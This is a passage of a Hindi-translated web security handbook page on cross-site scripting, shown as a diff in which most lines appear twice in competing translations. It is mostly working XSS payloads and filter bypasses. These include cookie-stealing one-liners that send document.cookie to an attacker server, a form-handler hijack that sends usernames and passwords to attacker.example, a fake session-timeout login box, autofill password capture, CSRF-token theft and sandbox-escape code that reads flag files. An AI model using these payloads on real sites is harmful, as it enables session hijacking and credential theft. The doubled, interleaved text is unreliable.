उदाहरण URL पैटर्न जब vulnerable parameter JS string में reflected होता है:
उदाहरण URL पैटर्न जब संवेदनशील पैरामीटर JS string में परावर्तित होता है:
```
?param=test";<INJECTION>;a="
```
यह attacker JS चलाता है बिना HTML context को छुए (pure JS-in-JS)। जब filters keywords ब्लॉक कर दें तो नीचे दिए गए blacklist bypasses के साथ मिलाएँ।
यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS)। जब filters keywords ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाकर इस्तेमाल करें।
### Template literals ``
single and double quotes के अलावा **strings** बनाने के लिए JS भी **backticks** **` `` `** स्वीकार करता है। इसे template literals कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **embedded JS expressions** को अनुमति देता है।\
इसलिए, अगर आपका इनपुट उस JS string के अंदर **reflected** हो रहा है जो backticks का उपयोग कर रही है, तो आप `${ ... }` सिंटैक्स का दुरुपयोग करके **arbitrary JS code** चला सकते हैं:
एकल और डबल quotes के अलावा **strings** बनाने के लिए JS **backticks** **` `` `** को भी स्वीकार करता है। इसे template literals कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **embedded JS expressions** को एम्बेड करने की अनुमति देता है।\
इसलिए, अगर आप पाते हैं कि आपका इनपुट backticks वाले JS string के अंदर **reflected** हो रहा है, तो आप `${ ... }` सिंटैक्स का दुरुपयोग करके **arbitrary JS code** चला सकते हैं:
यह निम्नलिखित तरीकों से **abused** किया जा सकता है:
यह निम्नलिखित का उपयोग करके **दुरुपयोग** किया जा सकता है:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -525,21 +526,21 @@ return loop
}
loop``
```
### एन्कोडेड code execution
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### Deliverable payloads with eval(atob()) और scope की सूक्ष्मताएँ
#### Deliverable payloads के साथ eval(atob()) और scope के सूक्ष्म अंतर
URLs को छोटा रखने और साधारण keyword filters को बायपास करने के लिए, आप अपनी वास्तविक logic को base64-encode कर सकते हैं और उसे `eval(atob('...'))` से evaluate कर सकते हैं। अगर साधारण keyword filtering `alert`, `eval`, या `atob` जैसे identifiers को ब्लॉक कर दे, तो Unicode-escaped identifiers का उपयोग करें, जो ब्राउज़र में एक ही तरह compile होते हैं पर string-matching filters को बायपास कर लेते हैं:
URLs को छोटा रखने और सरल keyword filters को बायपास करने के लिए, आप अपने वास्तविक logic को base64-encode कर सकते हैं और इसे `eval(atob('...'))` के साथ evaluate कर सकते हैं। अगर simple keyword filtering `alert`, `eval`, या `atob` जैसे identifiers को ब्लॉक कर देता है, तो Unicode-escaped identifiers का उपयोग करें जो ब्राउज़र में बिल्कुल समान compile होते हैं पर string-matching filters को चकमा दे देते हैं:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
महत्वपूर्ण scoping सूक्ष्मता: `const`/`let` जो `eval()` के अंदर declare किए जाते हैं वे block-scoped होते हैं और globals नहीं बनाते; वे बाद की scripts के लिए पहुँच योग्य नहीं होंगे। जब आवश्यकता हो, global, non-rebindable hooks को define करने के लिए dynamically injected `<script>` element का उपयोग करें (उदा., एक form handler को hijack करने के लिए):
महत्वपूर्ण स्कोपिंग सूक्ष्मता: `const`/`let` जो `eval()` के अंदर घोषित होते हैं, वे ब्लॉक-स्कोप्ड होते हैं और globals नहीं बनाते; वे बाद में चलने वाली स्क्रिप्ट्स से एक्सेस नहीं होंगे। जब आवश्यकता हो तो global, non-rebindable hooks को परिभाषित करने के लिए dynamically injected `<script>` element का उपयोग करें (e.g., to hijack a form handler):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -547,7 +548,7 @@ document.head.appendChild(s);
```
संदर्भ: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode एन्कोड JS निष्पादन
### Unicode Encode JS निष्पादन
```javascript
alert(1)
alert(1)
@ -572,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
```
**विशेष एस्केप्स**
**विशेष escapes**
```javascript
"\b" //backspace
"\f" //form feed
@ -586,12 +587,12 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**JS कोड के अंदर स्पेस का प्रतिस्थापन**
**JS code के अंदर स्पेस प्रतिस्थापन**
```javascript
<TAB>
/**/
```
**JavaScript comments (से** [**JavaScript Comments**](#javascript-comments) **ट्रिक)**
**JavaScript कमेंट्स (से** [**JavaScript Comments**](#javascript-comments) **ट्रिक)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -611,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
**JavaScript व्हाइटस्पेस**
**JavaScript रिक्त स्थान**
```javascript
log=[];
function funct(){}
@ -777,14 +778,15 @@ top[8680439..toString(30)](1)
## **DOM vulnerabilities**
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
**व्याख्या के विस्तार के कारण** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
**स्पष्टीकरण के विस्तार के कारण** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
वहाँ आपको विस्तृत **विवरण मिलेगा कि DOM vulnerabilities क्या हैं, ये कैसे उत्पन्न होते हैं, और इन्हें कैसे exploit किया जा सकता है**।\
इसके अलावा, मत भूलिए कि **उक्त पोस्ट के अंत में** आप [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) के बारे में व्याख्या पा सकते हैं।
वहाँ आपको **DOM vulnerabilities क्या हैं, वे कैसे provoked होते हैं, और उन्हें कैसे exploit किया जाता है** का विस्तृत explanation मिलेगा।\
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
### Upgrading Self-XSS
@ -797,48 +799,40 @@ If you can trigger a XSS by sending the payload inside a cookie, this is usually
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
इस तकनीक के उपयोग का एक शानदार उदाहरण आप [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) में पा सकते हैं।
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Sending your session to the admin
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
शायद एक user अपना profile admin के साथ साझा कर सकता है और यदि user के profile में self XSS मौजूद है और admin इसे access करता है, तो वह vulnerability को trigger कर देगा।
### Session Mirroring
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
यदि आप कुछ self XSS पाते हैं और web page में administrators के लिए **session mirroring** मौजूद है, उदाहरण के लिए clients को मदद माँगने की अनुमति देना और admin आपकी मदद करने के लिए आपके session में जो देख रहे हैं वही अपने session से देख पाएगा।
You could make the **administrator trigger your self XSS** and steal his cookies/session.
आप **administrator को अपना self XSS trigger करने के लिए मजबूर** कर सकते हैं और उसकी cookies/session चुरा सकते हैं।
## Other Bypasses
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
आप यह जांच सकते हैं कि क्या **reflected values** server (या client side) पर **unicode normalized** किए जा रहे हैं और इस फंक्शनालिटी का दुरुपयोग कर के protections को bypass कर सकते हैं। [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
इसके कारण **RoR mass assignment** के चलते HTML में quotes डाले जाते हैं और quote restriction को bypass किया जा सकता है, जिससे अतिरिक्त फ़ील्ड (onfocus) टैग के अंदर जोड़े जा सकते हैं.\
फ़ॉर्म का उदाहरण ([from this report](https://hackerone.com/reports/709336)), अगर आप payload भेजते हैं:
**RoR mass assignment** के कारण HTML में quotes डाल दिए जाते हैं और quote restriction bypass हो जाता है, जिससे टैग के अंदर अतिरिक्त फील्ड्स (onfocus) जोड़े जा सकते हैं.\
Form उदाहरण ([from this report](https://hackerone.com/reports/709336)), यदि आप payload भेजते हैं:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
"Key","Value" की जोड़ी इस तरह echoed back की जाएगी:
जो जोड़ी "Key","Value" इस तरह echo होकर वापस दिखेगी:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
फिर, onfocus attribute सम्मिलित किया जाएगा और XSS हो जाएगा।
फिर, onfocus attribute डाल दिया जाएगा और XSS हो जाएगा।
### विशेष संयोजन
```html
@ -872,22 +866,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### 302 response में header injection के साथ XSS
यदि आप पाते हैं कि आप **302 Redirect response में headers inject** कर सकते हैं तो आप कोशिश कर सकते हैं कि **browser को arbitrary JavaScript execute करवा दें**। यह **सरल नहीं है** क्योंकि modern browsers HTTP response body को interpret नहीं करते जब HTTP response status code 302 हो, इसलिए सिर्फ एक cross-site scripting payload बेकार है।
यदि आप पाते हैं कि आप **inject headers in a 302 Redirect response** कर सकते हैं तो आप कोशिश कर सकते हैं कि **make the browser execute arbitrary JavaScript**। यह **सरल नहीं** है क्योंकि आधुनिक ब्राउज़र HTTP response status code 302 होने पर HTTP response body की व्याख्या नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है।
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### केवल अक्षर, अंक और डॉट्स
यदि आप उन कैरेक्टर्स तक सीमित वह **callback** निर्दिष्ट कर सकते हैं जिसे javascript **execute** करेगा, तो [**Read this section of this post**](#javascript-function) पढ़िए ताकि पता चले इस व्यवहार का दुरुपयोग कैसे किया जा सकता है।
यदि आप उन characters तक सीमित **callback** निर्दिष्ट कर सकते हैं जिन्हें javascript **execute** करेगा। [**Read this section of this post**](#javascript-function) यह पता करने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
### XSS के लिए मान्य `<script>` Content-Types
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप किसी script को ऐसे **content-type** के साथ लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्न त्रुटि दिखाएगा:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप `application/octet-stream` जैसे किसी **content-type** के साथ एक script लोड करने की कोशिश करते हैं, तो Chrome निम्न त्रुटि दिखाएगा:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
एकमात्र **Content-Type**s जो Chrome को एक **loaded script** चलाने में सक्षम करेंगे, वे वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर सूचीबद्ध हैं, from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
केवल वही **Content-Type**s Chrome को **loaded script** चलाने की अनुमति देंगे जो const **`kSupportedJavascriptTypes`** के अंदर हैं। (From [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc))
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -909,16 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### XSS के लिए script प्रकार
### XSS के लिए Script प्रकार
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) तो, कौन से प्रकार script लोड करने के लिए इंगित किए जा सकते हैं?
(स्रोत: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) तो, किन प्रकारों को script लोड करने के लिए निर्दिष्ट किया जा सकता है?
```html
<script type="???"></script>
```
उत्तर:
- **module** (डिफ़ॉल्ट, समझाने की आवश्यकता नहीं)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक ऐसी सुविधा है जो आपको HTML, CSS, JS… जैसी कई सामग्री को एक साथ एक **`.wbn`** फ़ाइल में पैकेज करने देती है।
- **module** (default, समझाने की आवश्यकता नहीं)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक फीचर है जो आपको HTML, CSS, JS… जैसे डेटा को एक साथ पैकेज करके **`.wbn`** फाइल में डालने की अनुमति देता है।
```html
<script type="webbundle">
{
@ -928,7 +922,7 @@ const char* const kSupportedJavascriptTypes[] = {
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** import syntax को सुधारने की अनुमति देता है
- [**importmap**](https://github.com/WICG/import-maps)**:** import syntax को बेहतर बनाने की अनुमति देता है
```html
<script type="importmap">
{
@ -945,9 +939,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) to remap a library to eval to abuse it can trigger XSS।
यह व्यवहार [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) में एक लाइब्रेरी को eval पर रीमैप करने के लिए इस्तेमाल किया गया था, ताकि इसका दुरुपयोग XSS ट्रिगर कर सके।
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह विशेषता मुख्यतः pre-rendering से होने वाली कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह फीचर मुख्य रूप से pre-rendering के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है:
```html
<script type="speculationrules">
{
@ -963,9 +957,9 @@ This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree
}
</script>
```
### वेब Content-Types से XSS
### Web Content-Types से XSS
(स्रोत: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित Content-Types सभी ब्राउज़रों में XSS चला सकते हैं:
(स्रोत: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित content types सभी ब्राउज़र्स में XSS execute कर सकते हैं:
- text/html
- application/xhtml+xml
@ -976,11 +970,11 @@ This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree
- application/rss+xml (off)
- application/atom+xml (off)
अन्य ब्राउज़रों में अन्य **`Content-Types`** मनमाना JS चलाने के लिए उपयोग किए जा सकते हैं, देखें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
अन्य ब्राउज़र्स में अन्य **`Content-Types`** arbitrary JS execute करने के लिए इस्तेमाल किए जा सकते हैं, देखें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
यदि पेज text/xml content-type लौटाता है तो namespace निर्दिष्ट करके मनमाना JS चलाया जा सकता है:
यदि पेज text/xml content-type वापस कर रहा है तो namespace indicate करके arbitrary JS execute करना संभव है:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -990,9 +984,9 @@ This behaviour was used in [**this writeup**](https://github.com/zwade/yaca/tree
```
### विशेष प्रतिस्थापन पैटर्न
जब कुछ ऐसा उपयोग किया जाता है: **`"some {{template}} data".replace("{{template}}", <user_input>)`**। एक attacker कुछ सुरक्षा उपायों को बायपास करने के लिए [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the-replacement) का उपयोग कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है, तो अटैकर [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
उदाहरण के लिए, [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग स्क्रिप्ट के अंदर एक JSON string को escape करने और arbitrary code execute करने के लिए किया गया था।
For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
### Chrome Cache to XSS
@ -1003,7 +997,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
यदि आपके पास उपयोग करने के लिए केवल सीमित वर्ण सेट हैं, तो XSJail समस्याओं के लिए इन अन्य मान्य समाधानों को देखें:
यदि आपके पास इस्तेमाल के लिए केवल सीमित chars हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों को देखें:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1034,22 +1028,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
यदि untrusted code को execute करने से पहले **सब कुछ undefined है** (जैसे [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) तो arbitrary untrusted code के execution का दुरुपयोग करने के लिए "कुछ भी नहीं" से उपयोगी objects जनरेट करना संभव है:
यदि अनविश्वसनीय कोड चलाने से पहले **सब कुछ undefined** है (जैसा कि [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves) में), तो मनमाने अनविश्वसनीय कोड के निष्पादन का दुरुपयोग करने के लिए "कुछ भी नहीं से" उपयोगी objects उत्पन्न करना संभव है:
- Using import()
- import() का उपयोग करके
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- अप्रत्यक्ष रूप से `require` तक पहुँच
- `require` तक अप्रत्यक्ष पहुँच
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js मॉड्यूल्स को एक function के भीतर लपेटता है, कुछ इस तरह:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) के अनुसार, modules को Node.js एक फ़ंक्शन के भीतर लपेटता है, इस तरह:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
इसलिए, यदि उस मॉड्यूल से हम **किसी अन्य फ़ंक्शन को कॉल कर सकें**, तो उस फ़ंक्शन से `arguments.callee.caller.arguments[1]` का उपयोग करके **`require`** तक पहुँच संभव है:
इसलिए, अगर उस module से हम **call another function** कर सकते हैं, तो उस function से `arguments.callee.caller.arguments[1]` का उपयोग करके **`require`** को एक्सेस करना संभव है:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1058,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
पिछले उदाहरण की तरह, यह संभव है कि **use error handlers** की मदद से मॉड्यूल के **wrapper** तक पहुँच कर **`require`** फ़ंक्शन प्राप्त किया जा सके:
पिछले उदाहरण के समान, **use error handlers** के माध्यम से मॉड्यूल के **wrapper** तक पहुँच कर **`require`** फ़ंक्शन प्राप्त करना संभव है:
```javascript
try {
null.f()
@ -1098,12 +1092,12 @@ trigger()
```
### Obfuscation & Advanced Bypass
- **एक पेज में विभिन्न obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **एक पृष्ठ में अलग-अलग obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- JSFuck के अधिक परिष्कृत तरीके: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- और अधिक परिष्कृत JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@ -1288,14 +1282,14 @@ steal-info-js.md
### Iframe Trap
यूज़र को पेज पर iframe से बाहर निकले बिना नेविगेट करवाएँ और उसके क्रियाकलाप चुराएँ (जिसमें फ़ॉर्म में भेजी गई जानकारी शामिल है):
उपयोगकर्ता को पेज में iframe से बाहर निकले बिना नेविगेट करवाएं और उसके क्रियाकलाप (फॉर्म में भेजी गई जानकारी सहित) चुरा लें:
{{#ref}}
../iframe-traps.md
{{#endref}}
### Cookies प्राप्त करें
### Cookies प्राप्त करना
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1318,9 +1312,9 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!TIP]
> आप **JavaScript से cookies तक पहुँच नहीं पाएँगे** यदि cookie में HTTPOnly flag सेट हो। पर यहाँ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) हैं अगर आप किस्मत वाले हों।
> आप **JavaScript से cookies को एक्सेस नहीं कर पाएंगे** अगर cookie में HTTPOnly flag सेट है। लेकिन यहाँ [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) हैं अगर आप काफी भाग्यशाली हों।
### पृष्ठ सामग्री चुराएँ
### पृष्ठ सामग्री चुराना
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1409,15 +1403,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_कम समय प्रतिक्रिया देने वाले पोर्ट को दर्शाता है_ _लंबा समय प्रतिक्रिया न होने का संकेत देता है._
_कम समय का मतलब है कि port उत्तर दे रहा है_ _ज्यादा समय का मतलब है कि कोई उत्तर नहीं है._
Chrome में प्रतिबंधित पोर्टों की सूची [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) देखें और Firefox में [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) देखें।
Chrome में प्रतिबंधित ports की सूची [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) देखें।
### credentials पूछने के लिए बॉक्स
### क्रेडेंशियल्स माँगने के लिए बॉक्स
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### ऑटो-फिल पासवर्ड कैप्चर
### Auto-fill passwords capture
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1428,11 +1422,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
जब भी कोई डेटा password field में डाला जाता है, username और password attackers server को भेज दिया जाता है — यहां तक कि अगर client एक saved password चुनता है और कुछ लिखता नहीं है, तब भी credentials ex-filtrated हो जाएंगे।
जब password field में कोई भी डेटा डाला जाता है, तो username और password attackers server को भेज दिए जाते हैं — यहाँ तक कि अगर client saved password चुनता है और कुछ भी नहीं लिखता है, तब भी credentials ex-filtrated हो जाएंगे।
### Hijack form handlers to exfiltrate credentials (const shadowing)
If a critical handler (e.g., `function DoLogin(){...}`) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a `const` with the same name first to preempt and lock the handler. Later function declarations cannot rebind a `const` name, leaving your hook in control:
यदि कोई critical handler (e.g., `function DoLogin(){...}`) पेज में बाद में declared है, और आपका payload पहले चलता है (e.g., via an inline JS-in-JS sink), तो उसी नाम का एक `const` पहले define करें ताकि आप handler को preempt और lock कर सकें। बाद में की जाने वाली function declarations किसी `const` नाम को rebind नहीं कर सकतीं, और आपका hook नियंत्रण में रह जाएगा:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@ -1442,19 +1436,19 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
```
नोट्स
- यह execution order पर निर्भर करता है: आपका injection वैध declaration से पहले execute होना चाहिए।
- यदि आपका payload `eval(...)` में wrapped है, तो `const/let` bindings globals नहीं बनेंगे। एक सच्चा global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताई गई dynamic `<script>` injection technique का उपयोग करें।
- जब keyword filters कोड को ब्लॉक करते हैं, तो ऊपर दिखाए गए अनुसार Unicode-escaped identifiers या `eval(atob('...'))` delivery के साथ combine करें।
- यदि आपका payload `eval(...)` में wrapped है, तो `const/let` bindings globals नहीं बनेंगी। असली global, non-rebindable binding सुनिश्चित करने के लिए सेक्शन “Deliverable payloads with eval(atob()) and scope nuances” में बताए गए dynamic `<script>` injection technique का उपयोग करें।
- जब keyword filters code को ब्लॉक करें, तो ऊपर दिखाए गए तरीके की तरह Unicode-escaped identifiers या `eval(atob('...'))` delivery के साथ combine करें।
### Keylogger
github में खोजने पर मुझे कुछ अलग-अलगे मिलें:
github पर खोजने पर मुझे कुछ अलग मिले:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- आप metasploit `http_javascript_keylogger` का भी उपयोग कर सकते हैं
### CSRF tokens की चोरी
### Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1469,7 +1463,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### PostMessage संदेश चुराना
### PostMessage संदेशों को चुराना
```html
<img src="https://attacker.com/?" id=message>
<script>
@ -1484,7 +1478,7 @@ document.getElementById("message").src += "&"+e.data;
abusing-service-workers.md
{{#endref}}
### Shadow DOM तक पहुँचना
### Shadow DOM तक पहुँच
{{#ref}}
@ -1565,9 +1559,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
```
### Regex - छिपी हुई सामग्री तक पहुँच
### Regex - छिपी हुई सामग्री तक पहुंच
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से पता चलता है कि भले ही कुछ values JS से गायब हो जाएँ, फिर भी उन्हें विभिन्न objects के JS attributes में ढूँढा जा सकता है। For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) यह जाना जा सकता है कि भले ही कुछ मान JS से गायब हो जाएँ, फिर भी उन्हें विभिन्न objects में JS attributes में पाया जा सकता है। उदाहरण के लिए, REGEX का एक input तब भी मिल सकता है जब regex के input का value हटा दिया गया हो:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1591,11 +1585,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
